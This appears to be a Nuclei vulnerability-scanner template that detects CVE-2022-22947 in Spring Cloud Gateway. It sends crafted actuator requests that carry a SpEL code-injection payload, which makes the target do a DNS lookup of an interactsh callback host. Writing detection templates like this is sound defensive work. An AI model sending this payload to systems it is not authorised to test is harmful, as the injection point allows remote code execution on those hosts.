nuclei-templates/cves/2022/CVE-2022-22947.yaml

86 lines
2.5 KiB
YAML

id: CVE-2022-22947
info:
name: Spring Cloud Gateway Code Injection
author: pdteam
severity: critical
description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2022-22947
cwe-id: CWE-94
tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev
requests:
- raw:
- |
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/{{randstr}}/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "{{RootURL}}",
"order": 0
}
- |
POST /actuator/gateway/refresh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicate": "Paths: [/{{randstr}}], match trailing slash: true",
"route_id": "{{randstr}}",
"filters": [
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
],
"uri": "{{RootURL}}",
"order": 0
}
- |
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 201
- type: word
part: header
words:
- "/routes/{{randstr}}"
- type: word
part: interactsh_protocol
words:
- "dns"
# Enhanced by mp on 2022/03/08